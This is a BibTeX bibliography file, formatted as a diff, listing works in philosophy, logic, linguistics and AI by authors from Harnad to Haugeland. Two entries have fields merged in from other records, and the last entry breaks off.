+@book{ harnad:1987a, + editor = {Stevan Harnad}, + title = {Categorical Perception: The Groundwork of Cognition}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge}, + ISBN = {0521267587}, + topic = {cognitive-psychology;perception;} + } + +@article{ harnad:2000a, + author = {Stevan Harnad}, + title = {Minds, Machines, and {T}uring: The Indistinguishability + of Indistinguishables}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {425--445}, + topic = {foundations-of-AI;} + } + +@incollection{ harnish:1976a1, + author = {Robert M. Harnish}, + title = {Logical Form and Implicature}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {313--392}, + address = {New York}, + xref = {Republication: harnish:1976a2.}, + topic = {implicature;LF;} + } + +@incollection{ harnish:1976a2, + author = {Robert M. Harnish}, + title = {Logical Form and Implicature}, + booktitle = {Pragmatics: A Reader}, + publisher = {Oxford University Press}, + year = {1991}, + editor = {Steven Davis}, + pages = {316--364}, + address = {Oxford}, + xref = {Republication of harnish:1976a1.}, + topic = {implicature;LF;} + } + +@incollection{ harnish:1976b, + author = {Robert M. Harnish}, + title = {The Argument from {\em Lurk}}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {261--270}, + address = {New York}, + topic = {performative-analysis;} + } + +@book{ harnish:1979a, + editor = {Robert M. Harnish}, + title = {Basic Topics in the Philosophy of Language}, + publisher = {Prentice-Hall}, + year = {1979}, + address = {Englewood Cliffs, New Jersey}, + topic = {philosophy-of-language;} + } + +@phdthesis{ harper:1974a, + author = {William L. Harper}, + title = {Counterfactuals and Representations of Rational Belief}, + school = {University of Rochester}, + year = {1974}, + type = {Ph.{D}. Dissertation}, + address = {Rochester, New York}, + topic = {conditionals;belief-revision;probability-kinematics;} + } + +@article{ harper:1974b, + author = {William L. Harper}, + title = {A Note on Universal Instantiation in the {S}talnaker + {T}homason Conditional Logics and the {M} Type Modal Systems}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {4}, + pages = {373--379}, + topic = {modal-logic;conditional-logic;quantifying-in-modality;} + } + +@unpublished{ harper:1975a1, + author = {William L. Harper}, + title = {Rational Belief Change: {P}opper Functions and + Counterfactuals}, + year = {1975}, + note = {Unpublished manuscript, University of Western Ontario.}, + xref = {Publication: harper:1975a2. Republication: harper:1975a3.}, + topic = {conditionals;belief-revision;CCCP; + primitive-conditional-probability;} + } + +@article{ harper:1975a2, + author = {William L. Harper}, + title = {Rational Belief Change, {P}opper Functions and the + Counterfactuals}, + journal = {Synth\'ese}, + year = {1975}, + volume = {30}, + pages = {221--262}, + topic = {conditionals;belief-revision;CCCP; + primitive-conditional-probability;} + } + +@incollection{ harper:1975a3, + author = {William L. Harper}, + title = {Rational Belief Change, {P}opper Functions and + Counterfactuals}, + booktitle = {Foundations of Probability Theory, Statistical + Inference, and Statistical Theories of Science, Volume 1}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {William L. Harper and Clifford A. Hooker}, + pages = {73--115}, + address = {Dordrecht}, + xref = {Republication of: harper:1975a1, harper:1975a2.}, + topic = {primitive-conditional-probability;conditionals;} + } + +@unpublished{ harper:1975b, + author = {William L. Harper}, + title = {Revision of Def of IP-Model and Relativized Conditional}, + year = {1975}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {conditionals;belief-revision;CCCP; + primitive-conditional-probability;} + } + +@book{ harper-etal:1975a, + editor = {D.J. Hockney and William L. Harper and B. Freed}, + title = {Contemporary Research in Philosophical Logic and + Linguistic Semantics: Proceedings of a Conference Held at the + {U}niversity of {W}estern {O}ntario, {L}ondon, {C}anada}, + publisher = {D. Reidel Publishing Co.}, + year = {1975}, + address = {Dordrecht}, + ISBN = {9027705119.}, + topic = {philosophical-logic;nl-semantics;} + } + +@incollection{ harper:1976a, + author = {William L. Harper}, + title = {Ramsey Test Conditionals and Iterated Belief Change}, + booktitle = {Foundations of Probability Theory, Statistical + Inference, and Statistical Theories of Science, Volume 1}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + pages = {117--136}, + address = {Dordrecht}, + editor = {William L. Harper and Clifford A. Hooker}, + topic = {Ramsey-test;conditionals;beilef-update;} + } + +@book{ harper-hooker:1976a, + editor = {William L. Harper and Clifford A. Hooker}, + title = {Foundations of Probability Theory, Statistical + Inference, and Statistical Theories of Science, Volume 1}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + address = {Dordrecht}, + topic = {foundations-of-probability;statistical-inference;} + } + +@inproceedings{ harper:1977a, + author = {William Harper}, + title = {Rational Belief Change}, + booktitle = {Proceedings of the 1976 Meeting of the Philosophy of + Science Association}, + year = {1977}, + pages = {462--494}, + organization = {Philosophy of Science Association}, + missinginfo = {Editor, Publisher, Address}, + topic = {belief-revision;condtionals;} + } + +@article{ harper:1978a, + author = {William L. Harper}, + title = {Bayesian Learning Models With Revision of Evidence}, + journal = {Philosophia}, + year = {1978}, + volume = {7}, + number = {2}, + pages = {357--367}, + topic = {belief-revision;foundations-of-probability;} + } + +@incollection{ harper:1980a, + author = {William L. Harper}, + title = {A Sketch of Some Recent Developments in the Theory of + Conditionals}, + booktitle = {Ifs: Conditionals, Belief, Decision, Chance, and Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {William L. Harper and Robert Stalnaker and Glenn Pearce}, + pages = {3--38}, + address = {Dordrecht}, + title = {Subjunctive Conditionals}, + year = {1981}, + note = {Unpublished manuscript, University of Western Ontario}, + missinginfo = {Date is a guess.}, + topic = {conditionals;information-flow-theory;} + } + +@book{ harper-etal:1981a, + editor = {William L. Harper and Robert Stalnaker and Glenn Pearce}, + title = {Ifs: Conditionals, Belief, Decision, Chance, and Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + address = {Dordrecht}, + isbn = {9027712204 (pbk.)}, + topic = {conditionals;} + } + +@incollection{ harper-etal:1983a, + author = {William L. Harper and Hugues Leblanc and Bas {van Fraassen}}, + title = {On Characterizing {P}opper and {C}arnap Probability + Functions}, + booktitle = {Essays in Epistemology and Semantics}, + publisher = {Haven Publications}, + year = {1983}, + editor = {Hugues Leblanc and Raphael Stern and Raymond Gumb}, + pages = {140--152}, + address = {New York}, + topic = {primitive-conditional-probability;} + } + +@incollection{ harper:1988a, + author = {William L. Harper}, + title = {Introduction}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {ix--xix}, + address = {Dordrecht}, + note = {Introduction to the volume.}, + topic = {causal-decision-theory;game-theory;belief-revision;} + } + +@incollection{ harper:1988b, + author = {William L. Harper}, + title = {Causal Decision Theory and Game Theory: A Classic Argument + for Equilibrium Solutions, A Defense of Weak Equilibria, + and a New Problem for the Normal Form Representation}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {25--48}, + address = {Dordrecht}, + topic = {causal-decision-theory;game-theory;} + } + +@book{ harper-skyrms:1988a, + editor = {William L. Harper and Brian Skyrms}, + title = {Causation in Decision, Belief Change, and Statistics}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + volume = {2}, + address = {Dordrecht}, + contentnote = {TC: + William L. Harper, "Introduction" + Brad Armendt, "Conditional Preference and Causal Expected + Utility" + William L. Harper, "Causal Decision Theory and Game Theory: + A Classic Argument for Equilibrium Solutions, A Defense of + Weak Equilibria, and a New Problem for the Normal Form + Representation" + Ernest W. Adams, "Consistency and Decision: Variations on + Ramseyan Themes" + Henry E. {Kyburg, Jr.}, "Powers" + Peter G\"argenfors, "Causation and the Dynamics of Belief" + Wolfgang Spohn, "Ordinal Conditional Functions: A Dynamic + Theory of Epistemic States" + Arthur Burks, "The Logic of Evolution, and the Reduction of + Holistic-Coherent Systems to Hierarchical-Feedback Systems" + Isaac Levi, "Four Themes in Statistical Explanation" + Clark Glymour, "Artificial Intelligence for Statistical and + Causal Modelling" + } , + topic = {causality;belief-revision;statistics;} + } + +@inproceedings{ harper:1989a, + author = {William L. Harper}, + title = {Decisions, Games and Equilibrium Solutions}, + booktitle = {{PSA} 1988: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 2}, + year = {1989}, + editor = {Arthur Fine and Janet Leplin}, + pages = {344--362}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {game-theory;} + } + +@unpublished{ harper-etal:1990a, + author = {William L. Harper and Bryce Hemsley Bennett and Sreeram + Valluri}, + title = {Unification and Support: Harmonic Law Ratios Measure the + Mass of the Sun}, + year = {1990}, + note = {Unpublished manuscript, University of Western Ontario.}, + topic = {Newton;philosophy-of-physics;} + } + +@incollection{ harper:1991a, + author = {William L. Harper}, + title = {Kant on Incongruous Counterparts}, + booktitle = {The Philosophy of Right and Left}, + publisher = {Kluwer Academic Publishers}, + year = {1991}, + editor = {Jan {van Cleve} and Robert E. Frederick}, + pages = {263--313}, + address = {Dordrecht}, + topic = {incongruous-counterparts;} + } + +@article{ harper:1993a, + author = {William L. Harper}, + title = {Causal and Evidential Expectations in Strategic Settings}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {79}, + topic = {game-theory; counterfactuals;Nash-equilibria; + causal-decision-theory;} + } + +@article{ harper:2000a, + author = {William L. Harper}, + title = {Review of {\it Conditionals}, edited by {D}avid {W}iggins}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {3}, + pages = {358--360}, + xref = {Review of: woods_m:1997a.}, + topic = {conditionals;} + } + +@incollection{ harrah:1984a, + author = {David Harrah}, + title = {The Logic of Questions}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {715--764}, + address = {Dordrecht}, + topic = {interrogatives;} + } + +@article{ harrah:1998a, + author = {David Harrah}, + title = {Review of `The Posing of Questions: Logical + Foundations of Erotetic Inferences', by {A}ndrezej {W}i\'sniewski}, + journal = {Studia Logica}, + year = {1998}, + volume = {61}, + number = {2}, + pages = {296--299}, + xref = {Review of: wisniewski:1995a.}, + topic = {interrogatives;} + } + +@incollection{ harre:1996a, + author = {Rom Harr\'e}, + title = {There is No Time Like the Present}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {389--391}, + address = {Oxford}, + topic = {philosophy-of-time;} + } + +@article{ harris-fitelson:2001a, + author = {Kenneth Harris and Branden Fitelson}, + title = {Comments on Some Completeness Theorems of {U}rquhart + and {Mendez} \& {S}alto}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {1}, + pages = {51--55}, + topic = {completeness-theorems;relevance-logics;} + } + +@book{ harris_j:1751a, + author = {J. Harris}, + title = {Hermes: Or a Philosophical Inquiry Concerning Language and + Universal Grammar}, + year = {1751}, + note = {(Reproduced facsimile edition, Scolar Press, Menston, 1968.)}, + missinginfo = {A's 1st name, publisher.}, + topic = {nl-semantics;} + } + +@article{ harris_lr:1974a, + author = {Larry R. Harris}, + title = {The Heuristic Search under Conditions of Error}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {3}, + pages = {217--234}, + acontentnote = {Abstract: + By placing various restrictions on the heuristic estimator it is + possible to constrain the heuristic search process to fit + specific needs. This paper introduces a new restriction upon the + heuristic, called the ``bandwidth'' condition, that enables the + ordered search to better cope with time and space difficulties. + In particular, the effect of error within the heuristic is + considered in detail. + Beyond this, the bandwidth condition quite naturally allows for + the extension of the heuristic search to MIN/MAX trees. The + resulting game playing algorithm affords many desirable + practical features not found in minimax based techniques, as + well as maintaining the theoretical framework of ordered + searches. The development of this algorithm provides some + additional insight to the general problem of searching game + trees by showing that certain, somewhat surprising changes in + the cost estimates are required to properly search the tree. + Furthermore, the use of an ordered search of MIN/MAX trees + brings about a rather provocative departure from the + conventional approach to computer game playing.}, + topic = {search;game-playing;} + } + +@article{ harris_m:1980a, + author = {Martin Harris}, + title = {Review of {\it Definiteness and Indefiniteness: A Study in + Reference and Grammaticality Production}, by {J}ohn {A}. + {H}awkins}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {419--427}, + xref = {Review of hawkins_ja:1978a.}, + topic = {indefiniteness;definiteness;} + } + +@incollection{ harris_pl:1995a, + author = {Paul L. Harris}, + title = {Imagining and Pretending}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {170--184}, + address = {Oxford}, + topic = {folk-psychology;mental-simulation; + psychology-of-pretense;} + } + +@incollection{ harris_pl:1995b, + author = {Paul L. Harris}, + title = {From Simulation to Folk Psychology: + The Case for Development}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {232--258}, + address = {Oxford}, + topic = {folk-psychology;developmental-psychology + mental-simulation;propositional-attitude-ascription;} + } + +@book{ harris_r:1995a, + author = {Roy Harris}, + title = {Signs of Writing}, + publisher = {Routledge}, + year = {1995}, + address = {London and New York}, + topic = {punctuation;} +} + +@book{ harris_r:1996a, + author = {Roy Harris}, + title = {The Language Connection}, + publisher = {Thoemes Press}, + year = {1996}, + address = {Bristol}, + topic = {philosophy-of-language;} + } + +@book{ harris_wv:1988a, + author = {Wendell V. Harris}, + title = {Interpretive Acts: In Search of Meaning}, + publisher = {Oxford University Press}, + year = {1988}, + address = {Oxford}, + topic = {pragmatics;discourse-analysis;speech-acts;} + } + +@book{ harris_z:1991a, + author = {Zellig Harris}, + title = {A Theory of Language and Information: A Mathematical + Approach}, + publisher = {Clarendon Press}, + address = {Oxford}, + year = {1991}, + topic = {nl-syntax;} +} + +@article{ harrison_b:1974a, + author = {Bernard Harrison}, + title = {Review of {\it Semantic Theory}, by {J}errold {J}. {K}atz}, + journal = {Mind}, + year = {1974}, + volume = {83}, + number = {332}, + pages = {599--606}, + xref = {REview of: katz_jj:1972a.}, + topic = {nl-semantics;presuposition;} + } + +@article{ harrison_j:1952a, + author = {Jonathan Harrison}, + title = {Utilitarianism, Universalisation, + and Our Duty to Be Just}, + journal = {Proceedings of the {A}ristotelian {S}ociety}, + volume = {53}, + year = {1952--1953}, + pages = {105--134}, + topic = {utilitarianism;} + } + +@article{ harrison_j:1974a, + author = {Jonathan Harrison}, + title = {Mr. {G}ower on Conditionals}, + journal = {Mind}, + year = {1974}, + volume = {83}, + number = {329}, + pages = {103--105}, + xref = {Commentary on gower:1971a, harrison_j:1968a.}, + topic = {conditionals;} + } + +@book{ harrison_m-thimbleby:1990a, + editor = {Michael Harrison and Harold Thimbleby}, + title = {Formal Methods in Human-Computer Interaction}, + publisher = {Cambridge University Press}, + year = {1990}, + address = {Cambridge}, + ISBN = {052137202X}, + topic = {HCI;} + } + +@article{ harrison_rh:2001a, + author = {Robert H. Harrison}, + title = {Review of {\it On the Emotions}, by } , + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {3}, + pages = {466--472}, + xref = {Review of: wollheim:1999a.}, + topic = {emotion;} + } + +@article{ harrod:1936a, + author = {Roy Harrod}, + title = {Utilitarianism Revised}, + journal = {Mind}, + volume = {55}, + pages = {137--156}, + year = {1936}, + topic = {utilitarianism;} + } + +@article{ harrop:1958a, + author = {Ronald Harrop}, + title = {On the Existence of Finite Models and Decision Procedures + for Propositional Calculi}, + journal = {Proceedings of the Cambridge Philosophical Society}, + year = {1958}, + volume = {54}, + pages = {1--13}, + missinginfo = {number}, + topic = {finite-model-property;} + } + +@article{ harsanyi:1968a, + author = {John C. Harsanyi}, + title = {Games of Incomplete Information Played by `Bayesian' + Players, Parts {I--III}}, + journal = {Management Science}, + year = {1968}, + volume = {14}, + pages = {159--182,320--334,486--502}, + missinginfo = {number}, + topic = {common-prior-assumption;foundations-of-game-theory; + type-spaces;} + } + +@article{ harsanyi:1972a, + author = {John C. Harsanyi}, + title = {Notes on the So-Called Incompleteness Problem and on + the Proposed Alternative Concept of Rational Behavior}, + journal = {Theory and Decision}, + year = {1972}, + volume = {2}, + pages = {342--352}, + missinginfo = {number}, + topic = {rationality;foundations-of-decision-theory;} + } + +@article{ hart-mcginn:1976a, + author = {W.D. Hart and Colin McGinn}, + title = {Knowledge and Necessity}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {2}, + pages = {205--208}, + missinginfo = {A's 1st name.}, + topic = {modal-logic;epistemic-logic;} + } + +@article{ hart:1992a, + author = {W.D. Hart}, + title = {Hat-Tricks and Heaps}, + journal = {Philosophical Studies (Ireland)}, + year = {1992}, + volume = {33}, + pages = {1--24}, + topic = {vagueness;sorites-paradox;} + } + +@book{ hart-kapitan:1999a, + editor = {James G. Hart and Tomis Kapitan}, + title = {The Phenomeno-Logic of the {I}: Essays on Self-Consciousness}, + publisher = {Indiana University Press,}, + year = {1999}, + address = {Bloomington}, + ISBN = {025333506X (hardcover)}, + topic = {indexicals;introspection;} + } + +@inproceedings{ hartley_a-paris:1996a, + author = {Anthony Hartley and C\'ecile Paris}, + title = {Two Sources of Control over the Generation of Software + Instructions}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {192--199}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {nl-generation;} + } + +@incollection{ hartley_r:1992a, + author = {Roger T. Hartley}, + title = {A Uniform Representation for Time and Space and Their + Mutual Constraints}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {441--457}, + address = {Oxford}, + topic = {kr;semantic-networks;temporal-representation; + spatial-representation;kr-course;} + } + +@article{ hartmann_k-zimmerman_te:2000a, + author = {Katharina Hartmann and Thomas Ede Zimmerman}, + title = {Review of {\em Introduction to Natural Language Semantics}, + by {H}enriette de {S}wart}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {4}, + pages = {511--518}, + xref = {Review of: deswart_h1:1998a.}, + topic = {nl-semantics;} + } + +@inproceedings{ haruno-yamazaki:1996a, + author = {Masahito Haruno and Takefumi Yamazaki}, + title = {High-Performance Bilingual Text Alignment Using + Statistical and Dictionary Information}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {131--138}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {machine-translation;machine-readable-dictionaries;} + } + +@inproceedings{ haruno-matsumoto:1997a, + author = {Masahiko Haruno and Yuji Matsumoto}, + title = {Mistake-Driven Mixture of Hierarchical Tag Context Trees}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {230--237}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;part-of-speech-tagging;} + } + +@inproceedings{ haruno-etal:1998a, + author = {Masahiko Haruno and Satoshi Shirai and Yoshifumi Ooyama}, + title = {Using Decision Trees to Construct a Practical Parser}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {505--512}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {machine-learning;decision-trees;parsing-algorithms + statistical-parsing;} +} + +@book{ harvey-santelmann:1994a, + editor = {Mandy Harvey and Lynn Santelmann}, + title = {Proceedings from Semantics and Linguistic Theory + {IV}}, + publisher = {Cornell University}, + year = {1994}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;} + } + +@article{ hasling-etal:1984a, + author = {Diane W. Hasling and William J. Clancey and Glenn Rennels}, + title = {Strategic Explanations for a Diagnostic Consultation System}, + journal = {International Journal of Man-Machine Studies}, + year = {1984}, + volume = {20}, + number = {1}, + pages = {3--19}, + topic = {explanation;nl-generation;} +} + +@incollection{ haspelmath:1985a, + author = {Martin Haspelmath}, + title = {Diachronic Sources of `All' and `Every'}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {363--382}, + address = {Dordrecht}, + topic = {nl-semantics;semantic-change;} + } + +@book{ haspelmath:1997a, + author = {Martin Haspelmath}, + title = {Indefinite Pronouns}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + xref = {Review: dahl:1999a.}, + topic = {indefiniteness;pronouns;} + } + +@book{ haspelmath:2002a, + author = {Martin Haspelmath}, + title = {Understanding Morphology}, + publisher = {Oxford University Press}, + year = {2002}, + address = {Oxford}, + topic = {morphology;} + } + +@incollection{ hasslacher:1988a, + author = {Brosl Hasslacher}, + title = {Beyond the {T}uring Machine}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {417--433}, + address = {Oxford}, + topic = {foundations-of-computation;} + } + +@incollection{ hastie-pennington:1991a, + author = {Reid Hastie and Nancy Pennington}, + title = {Cognitive and Social Processes in Decision Making}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {308--327}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@incollection{ hastings-koutsoudas:1976a, + author = {Ashley J. Hastings and Andreas Koutsoudas}, + title = {Performance Models and the Generative-Interpretive + Debate}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {187}, + address = {Washington, D.C.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics; + nl-syntax;} + } + +@incollection{ hatano-inagaki:1991a, + author = {Giyoo Hatano and Kayoko Inagaki}, + title = {Sharing Cognition through Collective Comprehension + Activity}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {331--348}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@book{ hattiangadi:1987a, + author = {J.N. Hattiangadi}, + title = {How is Language Possible?}, + publisher = {Open Court}, + year = {1987}, + address = {LaSalle, Illinois}, + topic = {philosophy-of-language;L1-acquisition;} + } + +@inproceedings{ hatzivassiloglou-mckeown:1997a, + author = {Vasileios Hatzivassiloglou and Kathleen R. McKeown}, + title = {Predicting the Semantic Orientation of Adjectives}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {174--181}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;spatial-semantics;semantics-of-adjectives;} + } + +@incollection{ hatzivassilogou:1996a, + author = {Vasileios Hatzivassilogou}, + title = {Do We Need a Linguistics When We have Statistics? A + Comparative Analysis of the Contributions of Linguistic Cues + to a Statistical Word Grouping System}, + booktitle = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Judith Klavans and Philip Resnik}, + pages = {67--94}, + address = {Cambridge, Massachusetts}, + topic = {corpus-linguistics;corpus-statistics;statistical-nlp; + word-classification;} + } + +@incollection{ hauenschild-etal:1979a, + author = {Christa Hauenschild and Edgar Huckert and Robert Maier}, + title = {{SALAT}: Machine Translation Via Semantic Representation}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {324--352}, + topic = {machine-translation;} + } + +@book{ hauenschld-heizmann:1997a, + editor = {Crista Hauenschld and Susanne Heizmann}, + title = {Machine Translation and Translation Theory}, + publisher = {Mouton de Gruyter}, + year = {1997}, + address = {Berlin}, + ISBN = {3-11-015486-2}, + xref = {Review: vaneynde:1998a.}, + topic = {machine-translation;} + } + +@article{ haugeland:1978a1, + author = {John Haugeland}, + title = {The Nature and Plausibility of Cognitivism}, + journal = {The Behavioral and Brain Sciences}, + year = {1978}, + volume = {1}, + pages = {87--106}, + missinginfo = {number}, + xref = {Republished: haugeland:1978a2.}, + topic = {foundations-of-cognitive-science;philosophy-of-psychology;} + } + +@incollection{ haugeland:1978a2, + author = {John Haugeland}, + title = {The Nature and Plausibility of Cognitivism}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {243--281}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: haugeland:1978a1.}, + topic = {foundations-of-cognitive-science;philosophy-of-psychology; + foundations-of-psychology;} + } + +@book{ haugeland:1981a, + editor = {John Haugeland}, + title = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + address = {Cambridge, Massachusetts}, + ISBN = {0262081105}, + contentnote = {TC: + 1. John Haugeland, "Semantic Engines: An Introduction to + Mind Design", pp. 1--34 + 2. Allen Newell and Herbert A. Simon, "Computer Science + as Empirical Enquiry: Symboks and Search", pp. 35-- 66 + 3. Zenon Pylyshyn, "Complexity and the Study of Artificial + and Human Intelligence", pp. 67--94 + 4. Marvin Minsky, "A Framework for Representing + Knowledge", pp. 95--128 + 5. David Marr, "Artificial Intelligence---A Personal + View", pp. 129--142 + 6. Drew McDermott, "Artificial Intelligence Meets Natural + Stupidity", pp. 143--160 + 7. Hubert L. Dreyfus, "From Micro-Worlds to Knowledge + Representation: AI at an Impasse", pp. 161--204 + 8. Hilary Putnam, "Reductionism and the Nature of + Psychology", pp. 205--219 + 9. Daniel C. Dennett, "Intentional Systems", pp. 220-- 242 + 10. John Haugeland, "The Nature and Plausibility of + Cognitivism", pp. 243--281 + 11. John R. Searle, "Minds, Brains, and Programs", pp. 282-306- + 12. Jerry A. Fodor, "Methodological Solipsism Considered as a + Research Strategy in Cognitive Psychology", pp. 307--338 + 13. Donald Davidson, "The Material Mind", pp. 339--354 + } , + topic = {philosophy-ai;philosophy-of-cogsci;} + } + +@incollection{ haugeland:1981b, + author = {John Haugeland}, + title = {Semantic Engines: An Introduction to Mind Design}, + booktitle = {Mind Design}, + editor = {John Haugeland}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + year = {1981}, + pages = {1--34}, + topic = {foundations-of-cognitive-science;philosophy-of-cogsci; + philosophy-AI;} + } + +@book{ haugeland:1985a, + author = {John Haugeland}, + title = {Artificial Intelligence: The Very Idea}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + ISBN = {0262081539}, + topic = {philosophy-ai;philosophy-of-mind;} + } + +@incollection{ haugeland:1987a, + author = {John Haugeland}, + title = {An Overview of the Frame Problem}, + booktitle = {The Robot's Dilemma: The Frame Problem + in Artificial Intelligence}, + editor = {Zenon Pylyshyn}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + pages = {77--94}, + topic = {frame-problem;philosophy-AI;} + } + +@article{ haugeland:1996a, + author = {John Haugeland}, + title = {Body and World: A Review of {\it What + Computers Still Can't Do: A Critique of Artificial Reason} + ({H}ubert {D}reyfus)}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {119--128}, + xref = {Review of dreyfus:1992a.}, + topic = {philosophy-AI;} + } + +@book{ haugeland:1997a, + editor = {John Haugeland}, + title = {Mind Design {II}: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0262082594 (hc: alk. paper), 0262581531 (pb: alk. paper)}, + xref = {1st ed: haugeland:1981a.}, + topic = {philosophy-AI;philosophy-of-cogsci;} + } + +@book{ haugeland:1998a, + author = {John Haugeland}, + title = {Having Thought: Essays in the Metaphysics of Mind}, + publisher = {Harvard University Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + ISBN = {0674382331}, + title = {Simple Causal Minimization for Temporal Persistence and + Projection}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard 